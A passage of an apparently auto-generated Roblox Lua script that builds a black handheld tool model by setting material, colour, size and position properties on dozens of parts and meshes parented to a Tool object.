  1060. Part73.Anchored = true
  1061. Part73.FormFactor = Enum.FormFactor.Symmetric
  1062. Part73.Size = Vector3.new(1, 1, 1)
  1063. Part73.CFrame = CFrame.new(6.39302397, 2.00202608, -93.1824036, 0, 0.156434476, 0.987688363, 0, 0.987688363, -0.156434476, -1, 0, 0)
  1064. Part73.BottomSurface = Enum.SurfaceType.Smooth
  1065. Part73.TopSurface = Enum.SurfaceType.Smooth
  1066. Part73.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1067. Part73.Position = Vector3.new(6.39302397, 2.00202608, -93.1824036)
  1068. Part73.Orientation = Vector3.new(9, 90, 0)
  1069. Part73.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1070. BlockMesh74.Parent = Part73
  1071. BlockMesh74.Scale = Vector3.new(0.0690909177, 0.0454545468, 0.0181818176)
  1072. BlockMesh74.Scale = Vector3.new(0.0690909177, 0.0454545468, 0.0181818176)
  1073. Part75.Parent = Tool0
  1074. Part75.Material = Enum.Material.SmoothPlastic
  1075. Part75.BrickColor = BrickColor.new("Really black")
  1076. Part75.Reflectance = 0.20000000298023
  1077. Part75.Anchored = true
  1078. Part75.FormFactor = Enum.FormFactor.Symmetric
  1079. Part75.Size = Vector3.new(1, 1, 1)
  1080. Part75.CFrame = CFrame.new(6.33021116, 1.99884605, -93.2533112, 1, 0, 4.37113883e-08, 0, 1, 0, -4.37113883e-08, 0, 1)
  1081. Part75.BottomSurface = Enum.SurfaceType.Smooth
  1082. Part75.TopSurface = Enum.SurfaceType.Smooth
  1083. Part75.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1084. Part75.Position = Vector3.new(6.33021116, 1.99884605, -93.2533112)
  1085. Part75.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1086. SpecialMesh76.Parent = Part75
  1087. SpecialMesh76.Scale = Vector3.new(0.0181818195, 0.0181818195, 0.0181818008)
  1088. SpecialMesh76.MeshType = Enum.MeshType.Wedge
  1089. SpecialMesh76.Scale = Vector3.new(0.0181818195, 0.0181818195, 0.0181818008)
  1090. Part77.Parent = Tool0
  1091. Part77.Material = Enum.Material.SmoothPlastic
  1092. Part77.BrickColor = BrickColor.new("Really black")
  1093. Part77.Reflectance = 0.10000000149012
  1094. Part77.Rotation = Vector3.new(-90, 0, -180)
  1095. Part77.Anchored = true
  1096. Part77.FormFactor = Enum.FormFactor.Symmetric
  1097. Part77.Size = Vector3.new(1, 1, 1)
  1098. Part77.CFrame = CFrame.new(6.25976706, 1.83853698, -93.5287323, -1, 0, 0, 0, 0, 1, 0, 1, -4.37113883e-08)
  1099. Part77.BottomSurface = Enum.SurfaceType.Smooth
  1100. Part77.TopSurface = Enum.SurfaceType.Smooth
  1101. Part77.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1102. Part77.Position = Vector3.new(6.25976706, 1.83853698, -93.5287323)
  1103. Part77.Orientation = Vector3.new(-90, -180, 0)
  1104. Part77.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1105. CylinderMesh78.Parent = Part77
  1106. CylinderMesh78.Scale = Vector3.new(0.0636363626, 0.0272727218, 0.0636363626)
  1107. CylinderMesh78.Scale = Vector3.new(0.0636363626, 0.0272727218, 0.0636363626)
  1108. Part79.Parent = Tool0
  1109. Part79.Material = Enum.Material.SmoothPlastic
  1110. Part79.BrickColor = BrickColor.new("Really black")
  1111. Part79.Reflectance = 0.20000000298023
  1112. Part79.Rotation = Vector3.new(0, 90, 0)
  1113. Part79.Anchored = true
  1114. Part79.FormFactor = Enum.FormFactor.Symmetric
  1115. Part79.Size = Vector3.new(1, 1, 1)
  1116. Part79.CFrame = CFrame.new(6.36202621, 1.99430096, -93.1842194, 0, 0, 1, 0, 1, 0, -1, 0, 0)
  1117. Part79.BottomSurface = Enum.SurfaceType.Smooth
  1118. Part79.TopSurface = Enum.SurfaceType.Smooth
  1119. Part79.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1120. Part79.Position = Vector3.new(6.36202621, 1.99430096, -93.1842194)
  1121. Part79.Orientation = Vector3.new(0, 90, 0)
  1122. Part79.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1123. CylinderMesh80.Parent = Part79
  1124. CylinderMesh80.Scale = Vector3.new(0.0363636389, 0.00909090973, 0.0272727292)
  1125. CylinderMesh80.Scale = Vector3.new(0.0363636389, 0.00909090973, 0.0272727292)
  1126. Part81.Parent = Tool0
  1127. Part81.Material = Enum.Material.SmoothPlastic
  1128. Part81.BrickColor = BrickColor.new("Really black")
  1129. Part81.Reflectance = 0.20000000298023
  1130. Part81.Rotation = Vector3.new(0, 90, 0)
  1131. Part81.Anchored = true
  1132. Part81.FormFactor = Enum.FormFactor.Symmetric
  1133. Part81.Size = Vector3.new(1, 1, 1)
  1134. Part81.CFrame = CFrame.new(6.36202621, 1.98062897, -93.2051315, 0, 0, 1, 0, 1, 0, -1, 0, 0)
  1135. Part81.BottomSurface = Enum.SurfaceType.Smooth
  1136. Part81.TopSurface = Enum.SurfaceType.Smooth
  1137. Part81.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1138. Part81.Position = Vector3.new(6.36202621, 1.98062897, -93.2051315)
  1139. Part81.Orientation = Vector3.new(0, 90, 0)
  1140. Part81.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1141. BlockMesh82.Parent = Part81
  1142. BlockMesh82.Scale = Vector3.new(0.114545479, 0.0181818176, 0.0818181857)
  1143. BlockMesh82.Scale = Vector3.new(0.114545479, 0.0181818176, 0.0818181857)
  1144. Part83.Parent = Tool0
  1145. Part83.Material = Enum.Material.SmoothPlastic
  1146. Part83.BrickColor = BrickColor.new("Really black")
  1147. Part83.Reflectance = 0.20000000298023
  1148. Part83.Rotation = Vector3.new(90, 0, -180)
  1149. Part83.Anchored = true
  1150. Part83.FormFactor = Enum.FormFactor.Symmetric
  1151. Part83.Size = Vector3.new(1, 2, 1)
  1152. Part83.CFrame = CFrame.new(6.36203909, 1.65285897, -93.2524109, -1, 0, 0, 0, 8.94069956e-08, -1.0000006, 0, -1.0000006, -8.94069956e-08)
  1153. Part83.BottomSurface = Enum.SurfaceType.Smooth
  1154. Part83.TopSurface = Enum.SurfaceType.Smooth
  1155. Part83.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1156. Part83.Position = Vector3.new(6.36203909, 1.65285897, -93.2524109)
  1157. Part83.Orientation = Vector3.new(90, 180, 0)
  1158. Part83.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1159. CylinderMesh84.Parent = Part83
  1160. CylinderMesh84.Scale = Vector3.new(0.0818181857, 1.09545529, 0.127272874)
  1161. CylinderMesh84.Scale = Vector3.new(0.0818181857, 1.09545529, 0.127272874)
  1162. Part85.Parent = Tool0
  1163. Part85.Material = Enum.Material.SmoothPlastic
  1164. Part85.BrickColor = BrickColor.new("Really black")
  1165. Part85.Reflectance = 0.10000000149012
  1166. Part85.Rotation = Vector3.new(-180, 0, -90)
  1167. Part85.Anchored = true
  1168. Part85.FormFactor = Enum.FormFactor.Symmetric
  1169. Part85.Size = Vector3.new(1, 1, 1)
  1170. Part85.CFrame = CFrame.new(6.52567577, 1.65223598, -93.8790741, -3.55271368e-15, 1, -4.37113918e-08, 1, 0, 4.37113812e-08, 4.37113812e-08, -4.37113918e-08, -1)
  1171. Part85.BottomSurface = Enum.SurfaceType.Smooth
  1172. Part85.TopSurface = Enum.SurfaceType.Smooth
  1173. Part85.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1174. Part85.Position = Vector3.new(6.52567577, 1.65223598, -93.8790741)
  1175. Part85.Orientation = Vector3.new(0, -180, 90)
  1176. Part85.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1177. BlockMesh86.Parent = Part85
  1178. BlockMesh86.Scale = Vector3.new(0.0999999866, 0.0272727292, 0.890909195)
  1179. BlockMesh86.Scale = Vector3.new(0.0999999866, 0.0272727292, 0.890909195)
  1180. Part87.Parent = Tool0
  1181. Part87.Material = Enum.Material.SmoothPlastic
  1182. Part87.BrickColor = BrickColor.new("Really black")
  1183. Part87.Reflectance = 0.20000000298023
  1184. Part87.Rotation = Vector3.new(-180, 0, -180)
  1185. Part87.Anchored = true
  1186. Part87.FormFactor = Enum.FormFactor.Symmetric
  1187. Part87.Size = Vector3.new(1, 1, 1)
  1188. Part87.CFrame = CFrame.new(6.36203003, 1.525576, -93.3714981, -1, 0, -4.37113883e-08, 0, 1, 0, 0, 0, -1)
  1189. Part87.BottomSurface = Enum.SurfaceType.Smooth
  1190. Part87.TopSurface = Enum.SurfaceType.Smooth
  1191. Part87.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1192. Part87.Position = Vector3.new(6.36203003, 1.525576, -93.3714981)
  1193. Part87.Orientation = Vector3.new(0, -180, 0)
  1194. Part87.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1195. BlockMesh88.Parent = Part87
  1196. BlockMesh88.Scale = Vector3.new(0.0272726994, 0.0545454584, 0.0545454472)
  1197. BlockMesh88.Scale = Vector3.new(0.0272726994, 0.0545454584, 0.0545454472)
  1198. Part89.Parent = Tool0
  1199. Part89.Material = Enum.Material.SmoothPlastic
  1200. Part89.BrickColor = BrickColor.new("Really black")
  1201. Part89.Reflectance = 0.20000000298023
  1202. Part89.Rotation = Vector3.new(90, 0, -180)
  1203. Part89.Anchored = true
  1204. Part89.FormFactor = Enum.FormFactor.Symmetric
  1205. Part89.Size = Vector3.new(1, 1, 1)
  1206. Part89.CFrame = CFrame.new(6.36202621, 1.65285301, -93.3751297, -1, 0, 0, 0, 8.94069956e-08, -1.0000006, 0, -1.0000006, -8.94069956e-08)
  1207. Part89.BottomSurface = Enum.SurfaceType.Smooth
  1208. Part89.TopSurface = Enum.SurfaceType.Smooth
  1209. Part89.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1210. Part89.Position = Vector3.new(6.36202621, 1.65285301, -93.3751297)
  1211. Part89.Orientation = Vector3.new(90, 180, 0)
  1212. Part89.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1213. CylinderMesh90.Parent = Part89
  1214. CylinderMesh90.Scale = Vector3.new(0.118181825, 0.0545462593, 0.163636535)
  1215. CylinderMesh90.Scale = Vector3.new(0.118181825, 0.0545462593, 0.163636535)
  1216. Part91.Parent = Tool0
  1217. Part91.Material = Enum.Material.SmoothPlastic
  1218. Part91.BrickColor = BrickColor.new("Really black")
  1219. Part91.Reflectance = 0.10000000149012
  1220. Part91.Rotation = Vector3.new(-90, 0, -180)
  1221. Part91.Anchored = true
  1222. Part91.FormFactor = Enum.FormFactor.Symmetric
  1223. Part91.Size = Vector3.new(1, 1, 1)
  1224. Part91.CFrame = CFrame.new(6.36203718, 1.65285599, -93.8796844, -1, 0, 0, 0, 0, 1, 0, 1, -4.37113883e-08)
  1225. Part91.BottomSurface = Enum.SurfaceType.Smooth
  1226. Part91.TopSurface = Enum.SurfaceType.Smooth
  1227. Part91.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1228. Part91.Position = Vector3.new(6.36203718, 1.65285599, -93.8796844)
  1229. Part91.Orientation = Vector3.new(-90, -180, 0)
  1230. Part91.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1231. CylinderMesh92.Parent = Part91
  1232. CylinderMesh92.Scale = Vector3.new(0.281818241, 0.900000274, 0.290909052)
  1233. CylinderMesh92.Scale = Vector3.new(0.281818241, 0.900000274, 0.290909052)
  1234. Part93.Parent = Tool0
  1235. Part93.Material = Enum.Material.SmoothPlastic
  1236. Part93.BrickColor = BrickColor.new("Really black")
  1237. Part93.Reflectance = 0.20000000298023
  1238. Part93.Rotation = Vector3.new(-90, 9, 90)
  1239. Part93.Anchored = true
  1240. Part93.FormFactor = Enum.FormFactor.Symmetric
  1241. Part93.Size = Vector3.new(1, 1, 1)
  1242. Part93.CFrame = CFrame.new(6.39657879, 2.02447605, -93.1842194, 0, -0.987688422, 0.156434417, 0, 0.156434461, 0.987688363, -1, 0, 0)
  1243. Part93.BottomSurface = Enum.SurfaceType.Smooth
  1244. Part93.TopSurface = Enum.SurfaceType.Smooth
  1245. Part93.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1246. Part93.Position = Vector3.new(6.39657879, 2.02447605, -93.1842194)
  1247. Part93.Orientation = Vector3.new(-81, 90, 0)
  1248. Part93.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1249. CylinderMesh94.Parent = Part93
  1250. CylinderMesh94.Scale = Vector3.new(0.0727272704, 0.0181818195, 0.0909090936)
  1251. CylinderMesh94.Scale = Vector3.new(0.0727272704, 0.0181818195, 0.0909090936)
  1252. Part95.Parent = Tool0
  1253. Part95.Material = Enum.Material.SmoothPlastic
  1254. Part95.BrickColor = BrickColor.new("Really black")
  1255. Part95.Reflectance = 0.20000000298023
  1256. Part95.Anchored = true
  1257. Part95.FormFactor = Enum.FormFactor.Symmetric
  1258. Part95.Size = Vector3.new(1, 1, 1)
  1259. Part95.CFrame = CFrame.new(6.39384317, 1.99884605, -93.2533112, 1, 0, 4.37113883e-08, 0, 1, 0, -4.37113883e-08, 0, 1)
  1260. Part95.BottomSurface = Enum.SurfaceType.Smooth
  1261. Part95.TopSurface = Enum.SurfaceType.Smooth
  1262. Part95.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1263. Part95.Position = Vector3.new(6.39384317, 1.99884605, -93.2533112)
  1264. Part95.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1265. SpecialMesh96.Parent = Part95
  1266. SpecialMesh96.Scale = Vector3.new(0.0181818195, 0.0181818195, 0.0181818008)
  1267. SpecialMesh96.MeshType = Enum.MeshType.Wedge
  1268. SpecialMesh96.Scale = Vector3.new(0.0181818195, 0.0181818195, 0.0181818008)
  1269. Part97.Parent = Tool0
  1270. Part97.Material = Enum.Material.SmoothPlastic
  1271. Part97.BrickColor = BrickColor.new("Really black")
  1272. Part97.Reflectance = 0.20000000298023
  1273. Part97.Rotation = Vector3.new(0, 0, 9)
  1274. Part97.Anchored = true
  1275. Part97.FormFactor = Enum.FormFactor.Symmetric
  1276. Part97.Size = Vector3.new(1, 1, 1)
  1277. Part97.CFrame = CFrame.new(6.32747507, 2.02447605, -93.2292252, 0.987688303, -0.156434506, 5.38161515e-10, 0.156434506, 0.987688303, -3.39780781e-09, 0, 3.44016149e-09, 1)
  1278. Part97.BottomSurface = Enum.SurfaceType.Smooth
  1279. Part97.TopSurface = Enum.SurfaceType.Smooth
  1280. Part97.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1281. Part97.Position = Vector3.new(6.32747507, 2.02447605, -93.2292252)
  1282. Part97.Orientation = Vector3.new(0, 0, 9)
  1283. Part97.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1284. SpecialMesh98.Parent = Part97
  1285. SpecialMesh98.Scale = Vector3.new(0.0181818195, 0.0363636613, 0.0354545899)
  1286. SpecialMesh98.MeshType = Enum.MeshType.Wedge
  1287. SpecialMesh98.Scale = Vector3.new(0.0181818195, 0.0363636613, 0.0354545899)
  1288. Part99.Parent = Tool0
  1289. Part99.Material = Enum.Material.SmoothPlastic
  1290. Part99.BrickColor = BrickColor.new("Really black")
  1291. Part99.Reflectance = 0.20000000298023
  1292. Part99.Rotation = Vector3.new(40.5, 90, 0)
  1293. Part99.Anchored = true
  1294. Part99.FormFactor = Enum.FormFactor.Symmetric
  1295. Part99.Size = Vector3.new(1, 1, 1)
  1296. Part99.CFrame = CFrame.new(6.36202621, 1.89995301, -93.3153687, 0, 0, 1, 0.649448097, 0.760405958, 0, -0.760405958, 0.649448097, 0)
  1297. Part99.BottomSurface = Enum.SurfaceType.Smooth
  1298. Part99.TopSurface = Enum.SurfaceType.Smooth
  1299. Part99.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1300. Part99.Position = Vector3.new(6.36202621, 1.89995301, -93.3153687)
  1301. Part99.Orientation = Vector3.new(0, 90, 40.5)
  1302. Part99.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1303. BlockMesh100.Parent = Part99
  1304. BlockMesh100.Scale = Vector3.new(0.0363636389, 0.225454986, 0.0818181857)
  1305. BlockMesh100.Scale = Vector3.new(0.0363636389, 0.225454986, 0.0818181857)
  1306. Part101.Parent = Tool0
  1307. Part101.Material = Enum.Material.SmoothPlastic
  1308. Part101.BrickColor = BrickColor.new("Really black")
  1309. Part101.Reflectance = 0.20000000298023
  1310. Part101.Rotation = Vector3.new(-90, 81, 90)
  1311. Part101.Anchored = true
  1312. Part101.FormFactor = Enum.FormFactor.Symmetric
  1313. Part101.Size = Vector3.new(1, 1, 1)
  1314. Part101.CFrame = CFrame.new(6.3310318, 2.00202608, -93.1824036, 0, -0.156434476, 0.987688363, 0, 0.987688363, 0.156434476, -1, 0, 0)
  1315. Part101.BottomSurface = Enum.SurfaceType.Smooth
  1316. Part101.TopSurface = Enum.SurfaceType.Smooth
  1317. Part101.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1318. Part101.Position = Vector3.new(6.3310318, 2.00202608, -93.1824036)
  1319. Part101.Orientation = Vector3.new(-9, 90, 0)
  1320. Part101.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1321. BlockMesh102.Parent = Part101
  1322. BlockMesh102.Scale = Vector3.new(0.0690909177, 0.0454545468, 0.0181818176)
  1323. BlockMesh102.Scale = Vector3.new(0.0690909177, 0.0454545468, 0.0181818176)
  1324. Part103.Parent = Tool0
  1325. Part103.Material = Enum.Material.SmoothPlastic
  1326. Part103.BrickColor = BrickColor.new("Really black")
  1327. Part103.Reflectance = 0.20000000298023
  1328. Part103.Rotation = Vector3.new(90, 0, -180)
  1329. Part103.Anchored = true
  1330. Part103.FormFactor = Enum.FormFactor.Symmetric
  1331. Part103.Size = Vector3.new(1, 1, 1)
  1332. Part103.CFrame = CFrame.new(6.36202621, 1.65285301, -93.1842194, -1, 0, 0, 0, 8.94069956e-08, -1.0000006, 0, -1.0000006, -8.94069956e-08)
  1333. Part103.BottomSurface = Enum.SurfaceType.Smooth
  1334. Part103.TopSurface = Enum.SurfaceType.Smooth
  1335. Part103.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1336. Part103.Position = Vector3.new(6.36202621, 1.65285301, -93.1842194)
  1337. Part103.Orientation = Vector3.new(90, 180, 0)
  1338. Part103.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1339. CylinderMesh104.Parent = Part103
  1340. CylinderMesh104.Scale = Vector3.new(0.118181825, 0.0727280825, 0.163636521)
  1341. CylinderMesh104.Scale = Vector3.new(0.118181825, 0.0727280825, 0.163636521)
  1342. Part105.Parent = Tool0
  1343. Part105.Material = Enum.Material.SmoothPlastic
  1344. Part105.BrickColor = BrickColor.new("Really black")
  1345. Part105.Reflectance = 0.20000000298023
  1346. Part105.Rotation = Vector3.new(0, 90, 0)
  1347. Part105.Anchored = true
  1348. Part105.FormFactor = Enum.FormFactor.Symmetric
  1349. Part105.Size = Vector3.new(1, 1, 1)
  1350. Part105.CFrame = CFrame.new(6.36202621, 1.83049798, -93.1705856, 0, 0, 1, 0, 1, 0, -1, 0, 0)
  1351. Part105.BottomSurface = Enum.SurfaceType.Smooth
  1352. Part105.TopSurface = Enum.SurfaceType.Smooth
  1353. Part105.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1354. Part105.Position = Vector3.new(6.36202621, 1.83049798, -93.1705856)
  1355. Part105.Orientation = Vector3.new(0, 90, 0)
  1356. Part105.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1357. BlockMesh106.Parent = Part105
  1358. BlockMesh106.Scale = Vector3.new(0.0454545468, 0.281818241, 0.0818181857)
  1359. BlockMesh106.Scale = Vector3.new(0.0454545468, 0.281818241, 0.0818181857)
  1360. Part107.Parent = Tool0
  1361. Part107.Material = Enum.Material.SmoothPlastic
  1362. Part107.BrickColor = BrickColor.new("Dark stone grey")
  1363. Part107.Reflectance = 0.20000000298023
  1364. Part107.Rotation = Vector3.new(-9, 90, 0)
  1365. Part107.Anchored = true
  1366. Part107.FormFactor = Enum.FormFactor.Symmetric
  1367. Part107.Size = Vector3.new(1, 1, 1)
  1368. Part107.CFrame = CFrame.new(6.36091185, 0.921388984, -94.679245, 1.74576044e-07, 6.85911195e-09, 1, -0.156434447, 0.987688184, -2.05350439e-08, -0.987688184, -0.156434447, -2.1721111e-07)
  1369. Part107.BottomSurface = Enum.SurfaceType.Smooth
  1370. Part107.TopSurface = Enum.SurfaceType.Smooth
  1371. Part107.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1372. Part107.Position = Vector3.new(6.36091185, 0.921388984, -94.679245)
  1373. Part107.Orientation = Vector3.new(0, 90, -9)
  1374. Part107.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1375. BlockMesh108.Parent = Part107
  1376. BlockMesh108.Scale = Vector3.new(0.409090847, 0.181818172, 0.190909088)
  1377. BlockMesh108.Scale = Vector3.new(0.409090847, 0.181818172, 0.190909088)
  1378. Part109.Parent = Tool0
  1379. Part109.Material = Enum.Material.SmoothPlastic
  1380. Part109.BrickColor = BrickColor.new("Really black")
  1381. Part109.Reflectance = 0.10000000149012
  1382. Part109.Rotation = Vector3.new(180, 0, 90)
  1383. Part109.Anchored = true
  1384. Part109.FormFactor = Enum.FormFactor.Symmetric
  1385. Part109.Size = Vector3.new(1, 1, 1)
  1386. Part109.CFrame = CFrame.new(6.36203384, 1.65223598, -93.8790741, 0, -1, -0, -1, 0, -0, 0, 0, -1)
  1387. Part109.BottomSurface = Enum.SurfaceType.Smooth
  1388. Part109.TopSurface = Enum.SurfaceType.Smooth
  1389. Part109.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1390. Part109.Position = Vector3.new(6.36203384, 1.65223598, -93.8790741)
  1391. Part109.Orientation = Vector3.new(0, -180, -90)
  1392. Part109.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1393. BlockMesh110.Parent = Part109
  1394. BlockMesh110.Scale = Vector3.new(0.0636363402, 0.299999923, 0.890909195)
  1395. BlockMesh110.Scale = Vector3.new(0.0636363402, 0.299999923, 0.890909195)
  1396. Part111.Parent = Tool0
  1397. Part111.Material = Enum.Material.SmoothPlastic
  1398. Part111.BrickColor = BrickColor.new("Really black")
  1399. Part111.Reflectance = 0.20000000298023
  1400. Part111.Rotation = Vector3.new(0, 90, 0)
  1401. Part111.Anchored = true
  1402. Part111.FormFactor = Enum.FormFactor.Symmetric
  1403. Part111.Size = Vector3.new(1, 1, 1)
  1404. Part111.CFrame = CFrame.new(6.33021116, 1.99884605, -93.1960449, 0, 0, 1, 0, 1, 0, -1, 0, 0)
  1405. Part111.BottomSurface = Enum.SurfaceType.Smooth
  1406. Part111.TopSurface = Enum.SurfaceType.Smooth
  1407. Part111.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1408. Part111.Position = Vector3.new(6.33021116, 1.99884605, -93.1960449)
  1409. Part111.Orientation = Vector3.new(0, 90, 0)
  1410. Part111.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1411. BlockMesh112.Parent = Part111
  1412. BlockMesh112.Scale = Vector3.new(0.0963636562, 0.0181818195, 0.0181818176)
  1413. BlockMesh112.Scale = Vector3.new(0.0963636562, 0.0181818195, 0.0181818176)
  1414. Part113.Parent = Tool0
  1415. Part113.Material = Enum.Material.SmoothPlastic
  1416. Part113.BrickColor = BrickColor.new("Really black")
  1417. Part113.Reflectance = 0.20000000298023
  1418. Part113.Rotation = Vector3.new(0, 90, 0)
  1419. Part113.Anchored = true
  1420. Part113.FormFactor = Enum.FormFactor.Symmetric
  1421. Part113.Size = Vector3.new(1, 1, 1)
  1422. Part113.CFrame = CFrame.new(6.36202621, 1.93522298, -93.2205811, 0, 0, 1, 0, 1, 0, -1, 0, 0)
  1423. Part113.BottomSurface = Enum.SurfaceType.Smooth
  1424. Part113.TopSurface = Enum.SurfaceType.Smooth
  1425. Part113.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1426. Part113.Position = Vector3.new(6.36202621, 1.93522298, -93.2205811)
  1427. Part113.Orientation = Vector3.new(0, 90, 0)
  1428. Part113.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1429. BlockMesh114.Parent = Part113
  1430. BlockMesh114.Scale = Vector3.new(0.0545454323, 0.0727271512, 0.0454545431)
  1431. BlockMesh114.Scale = Vector3.new(0.0545454323, 0.0727271512, 0.0454545431)
  1432. Part115.Parent = Tool0
  1433. Part115.Material = Enum.Material.SmoothPlastic
  1434. Part115.BrickColor = BrickColor.new("Really black")
  1435. Part115.Reflectance = 0.20000000298023
  1436. Part115.Rotation = Vector3.new(-90, -9, 90)
  1437. Part115.Anchored = true
  1438. Part115.FormFactor = Enum.FormFactor.Symmetric
  1439. Part115.Size = Vector3.new(1, 1, 1)
  1440. Part115.CFrame = CFrame.new(6.32747507, 2.02447605, -93.1842194, 0, -0.987688363, -0.156434566, 0, -0.156434521, 0.987688363, -1, -0, 0)
  1441. Part115.BottomSurface = Enum.SurfaceType.Smooth
  1442. Part115.TopSurface = Enum.SurfaceType.Smooth
  1443. Part115.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1444. Part115.Position = Vector3.new(6.32747507, 2.02447605, -93.1842194)
  1445. Part115.Orientation = Vector3.new(-81, -90, 180)
  1446. Part115.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1447. CylinderMesh116.Parent = Part115
  1448. CylinderMesh116.Scale = Vector3.new(0.0727272704, 0.0181818195, 0.0727272704)
  1449. CylinderMesh116.Scale = Vector3.new(0.0727272704, 0.0181818195, 0.0727272704)
  1450. Part117.Parent = Tool0
  1451. Part117.Material = Enum.Material.SmoothPlastic
  1452. Part117.BrickColor = BrickColor.new("Really black")
  1453. Part117.Reflectance = 0.20000000298023
  1454. Part117.Rotation = Vector3.new(0, 90, 0)
  1455. Part117.Anchored = true
  1456. Part117.FormFactor = Enum.FormFactor.Symmetric
  1457. Part117.Size = Vector3.new(1, 1, 1)
  1458. Part117.CFrame = CFrame.new(6.39384317, 1.99884605, -93.1960449, 0, 0, 1, 0, 1, 0, -1, 0, 0)
  1459. Part117.BottomSurface = Enum.SurfaceType.Smooth
  1460. Part117.TopSurface = Enum.SurfaceType.Smooth
  1461. Part117.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1462. Part117.Position = Vector3.new(6.39384317, 1.99884605, -93.1960449)
  1463. Part117.Orientation = Vector3.new(0, 90, 0)
  1464. Part117.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1465. BlockMesh118.Parent = Part117
  1466. BlockMesh118.Scale = Vector3.new(0.0963636562, 0.0181818195, 0.0181818176)
  1467. BlockMesh118.Scale = Vector3.new(0.0963636562, 0.0181818195, 0.0181818176)
  1468. Part119.Parent = Tool0
  1469. Part119.Material = Enum.Material.SmoothPlastic
  1470. Part119.BrickColor = BrickColor.new("Really black")
  1471. Part119.Reflectance = 0.20000000298023
  1472. Part119.Rotation = Vector3.new(0, 0, -9)
  1473. Part119.Anchored = true
  1474. Part119.FormFactor = Enum.FormFactor.Symmetric
  1475. Part119.Size = Vector3.new(1, 1, 1)
  1476. Part119.CFrame = CFrame.new(6.39728785, 2.0289669, -93.2249069, 0.987688303, 0.156434506, -5.38158629e-10, -0.156434506, 0.987688303, -3.39780826e-09, 0, 3.44016193e-09, 1)
  1477. Part119.BottomSurface = Enum.SurfaceType.Smooth
  1478. Part119.TopSurface = Enum.SurfaceType.Smooth
  1479. Part119.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1480. Part119.Position = Vector3.new(6.39728785, 2.0289669, -93.2249069)
  1481. Part119.Orientation = Vector3.new(0, 0, -9)
  1482. Part119.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1483. SpecialMesh120.Parent = Part119
  1484. SpecialMesh120.Scale = Vector3.new(0.0181818195, 0.0454545692, 0.0449999869)
  1485. SpecialMesh120.MeshType = Enum.MeshType.Wedge
  1486. SpecialMesh120.Scale = Vector3.new(0.0181818195, 0.0454545692, 0.0449999869)
  1487. Part121.Parent = Tool0
  1488. Part121.Material = Enum.Material.SmoothPlastic
  1489. Part121.BrickColor = BrickColor.new("Really black")
  1490. Part121.Reflectance = 0.20000000298023
  1491. Part121.Rotation = Vector3.new(0, 90, 0)
  1492. Part121.Anchored = true
  1493. Part121.FormFactor = Enum.FormFactor.Symmetric
  1494. Part121.Size = Vector3.new(1, 1, 1)
  1495. Part121.CFrame = CFrame.new(6.36202621, 2.0079391, -93.1842194, 0, 0, 1, 0, 1, 0, -1, 0, 0)
  1496. Part121.BottomSurface = Enum.SurfaceType.Smooth
  1497. Part121.TopSurface = Enum.SurfaceType.Smooth
  1498. Part121.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1499. Part121.Position = Vector3.new(6.36202621, 2.0079391, -93.1842194)
  1500. Part121.Orientation = Vector3.new(0, 90, 0)
  1501. Part121.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1502. CylinderMesh122.Parent = Part121
  1503. CylinderMesh122.Scale = Vector3.new(0.0181818195, 0.0363636315, 0.00909090973)
  1504. CylinderMesh122.Scale = Vector3.new(0.0181818195, 0.0363636315, 0.00909090973)
  1505. Part123.Parent = Tool0
  1506. Part123.Material = Enum.Material.SmoothPlastic
  1507. Part123.BrickColor = BrickColor.new("Really black")
  1508. Part123.Reflectance = 0.10000000149012
  1509. Part123.Rotation = Vector3.new(-180, -90, 0)
  1510. Part123.Anchored = true
  1511. Part123.FormFactor = Enum.FormFactor.Symmetric
  1512. Part123.Size = Vector3.new(1, 1, 1)
